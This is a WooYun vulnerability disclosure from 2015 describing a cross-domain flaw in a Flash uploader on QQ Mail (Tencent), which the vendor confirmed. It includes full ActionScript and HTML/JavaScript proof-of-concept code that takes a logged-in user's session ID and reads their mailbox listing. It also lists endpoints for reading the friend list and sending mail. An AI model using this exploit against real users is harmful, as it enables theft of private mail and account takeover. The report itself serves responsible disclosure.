当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107759

漏洞标题:一封邮件操控QQ邮箱可蠕虫(收发邮件、查看好友列表等)

相关厂商:腾讯

漏洞作者: EtherDream

提交时间:2015-04-14 09:31

修复时间:2015-05-30 11:02

公开时间:2015-05-30 11:02

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-14: 细节已通知厂商并且等待厂商处理中
2015-04-15: 厂商已经确认,细节仅向厂商公开
2015-04-25: 细节向核心白帽子及相关领域专家公开
2015-05-05: 细节向普通白帽子公开
2015-05-15: 细节向实习白帽子公开
2015-05-30: 细节向公众公开

简要描述:

利用 qq.com 子站下一个 flash,可访问 QQ 邮箱等站点的数据

详细说明:

原理和之前的《读取已登陆用户163/126 邮件的》(www.wooyun.org/bugs/wooyun-2015-0106908)一样。
存在漏洞的 flash 文件:
http://mail.qq.com/zh_CN/htmledition/swf/uploader1d35b7.swf
其中有个 uploader.UploadSchedule 类开放了 URLLoader 操作的接口,使用自己的 flash 将其反射出来,按照其规范调用,即可访问 crossdomain.xml 中授权了 *.qq.com 的站点。并且请求是 POST 的,使得利用更为顺利。
例如访问 QQ 邮箱。首先获取 SID,这个貌似有多种登录方式,这里以自己为例,访问:http://mail.qq.com/cgi-bin/login?fun=psaread 可获得已登录的 SID。
有了 SID 即可各种操作。访问邮件列表:
http://set1.mail.qq.com/cgi-bin/mail_list?sid={SID}&page=0
访问 QQ 好友列表:
http://set1.mail.qq.com/cgi-bin/laddr_lastlist?sid={SID}&t=addr_datanew&category=hot
发邮件:
http://set1.mail.qq.com/cgi-bin/compose_send?sid={SID}
。。。

漏洞证明:

自己的 flash:

package {
import flash.display.*;
import flash.events.*;
import flash.external.*;
import flash.net.*;
import flash.system.*;
import flash.utils.*;


public class flahack extends Sprite {
private static const PATH:String =
'uploader.UploadSchedule';
private static const URL:String =
'http://mail.qq.com/zh_CN/htmledition/swf/uploader1d35b7.swf'
private var loader:Loader = new Loader();
private var cls:*;

public function flahack() {
Security.allowDomain('*');
//this.addChild(loader);
loader.contentLoaderInfo.addEventListener(Event.COMPLETE, onReady);
loader.load(new URLRequest(URL));
var tid:uint = setInterval(function() : void {
try {
cls = loader.contentLoaderInfo.applicationDomain.getDefinition(PATH);
clearInterval(tid);
onReady(null);
} catch (e:Error) {
}
}, 100);
}
private function onReady(e:Event) : void {
ExternalInterface.addCallback('Load', extern_load);
ExternalInterface.call('__fla_ready');
}

private function extern_load(url: String) : void {
var obj:* = new cls();
obj.SetLoaderDataFormat('binary');
obj.queryUploadSize(url, '');
var tid:uint = setInterval(function() : void {
var data:ByteArray = obj.ResponseData;
if (data) {
clearInterval(tid);
var str:String = HtmlDecode(data);
ExternalInterface.call('__fla_complete',
url,
str.replace(/\\/g, '\\\\')
);
}
}, 100);
}

private static function HtmlDecode(buf:ByteArray) : String {
buf.position = 0;
var str:String = buf.readMultiByte(buf.length, 'iso-8859-1');

var charset:String = 'utf-8';
var ret:Array = str.match(/<meta\s+[^>]*charset=['"]?\s*([\w\-]*)/i);
if (ret && ret[1]) {
charset = ret[1];
}
buf.position = 0;
return buf.readMultiByte(buf.length, charset);
}
}
}


其中有几个细节:
1.uploader1d35b7.swf 构造函数里用到了 stage 属性,由于被嵌套的 swf 初始化时是没有 stage 的(在 ADD_TO_STAGE 事件之后才有),所以加载这个 flash 时会报错。
但万幸的是,在访问 stage 之前,已经执行了 Security.allowDomain('*'),所以即使主类构造失败,但这个 swf 的权限已经打开,不影响后期利用。(调试模式下报错点继续执行即可)
2.URLLoader 返回是数据默认是字符型的,遇到中文会乱码。因此这里使用 binary 传输,收到后分析页面中 <meta> 指定的编码,再转码成相应的字集,即可避免乱码。
3.UploadSchedule 类没有提供下载完成的回调,因此使用不断轮询的方式,探测是否下载完成。
具体的操控逻辑写在网页里。这里以读取邮件列表为例:

<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>qq mail poc</title>
<style>
#txt {
width: 800px;
height: 400px;
}
</style>
</head>
<embed id="fla" src="flahack.swf" allowScriptAccess="always" style="position:absolute; top:-999px;">
<textarea id="txt"></textarea>
<script>
var URL_SID_1 = 'http://mail.qq.com/cgi-bin/login?fun=psaread';
var URL_MAIL = 'http://set1.mail.qq.com/cgi-bin/mail_list?sid=%s&page=0';
window.__fla_ready = function() {
console.log('ready');
fla.Load(URL_SID_1);
};
window.__fla_complete = function(url, data) {
setTimeout(function() {
switch (url) {
case URL_SID_1:
procSID(data);
break;
default:
procMail(data);
break;
}
}, 0);
};
function procSID(data) {
var m = data.match(/sid=([^"]+)/);
var sid = m && m[1];
if (sid) {
console.info('got sid:', sid);
console.log('loading mail...');
URL_MAIL = URL_MAIL.replace('%s', sid);
fla.Load(URL_MAIL);
return true;
}
console.warn('fail get sid!');
}
function procMail(data) {
var parser = new DOMParser();
var doc = parser.parseFromString(data, 'text/html');
var arr = doc.querySelectorAll('.toarea');
for (var i = 0; i < arr.length; i++) {
analyzeGroup(arr[i]);
}
console.dir(mails);
txt.value = JSON.stringify(mails, null, 4);
}
var mails = [];
function analyzeGroup(box) {
var arr = box.querySelectorAll('table.i.M');
for (var i = 0; i < arr.length; i++) {
analyzeItem(arr[i]);
}
}
function analyzeItem(box) {
var sender = box.querySelector('td.tl span');
var title = box.querySelector('div.tf u.tt');
var desc = box.querySelector('div.tf b.no');
var info = {
addr: sender && sender.getAttribute('e'),
nick: sender && sender.innerHTML.trim(),
title: title && title.innerText,
desc: desc && desc.innerText
};
mails.push(info);
}
console.log('loading flash...');
</script>
</body>
</html>


不同的登录方式 sid 的位置也不同,但不少页面里都可以获取到。

屏幕快照 2015-04-14 上午8.53.50.png

修复方案:

敏感信息站点部署 crossdomain.xml 十分危险,设计不合理。

版权声明:转载请注明来源 EtherDream@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-04-15 11:00

厂商回复:

问题已确认,正在处理中,感谢反馈。

最新状态:

暂无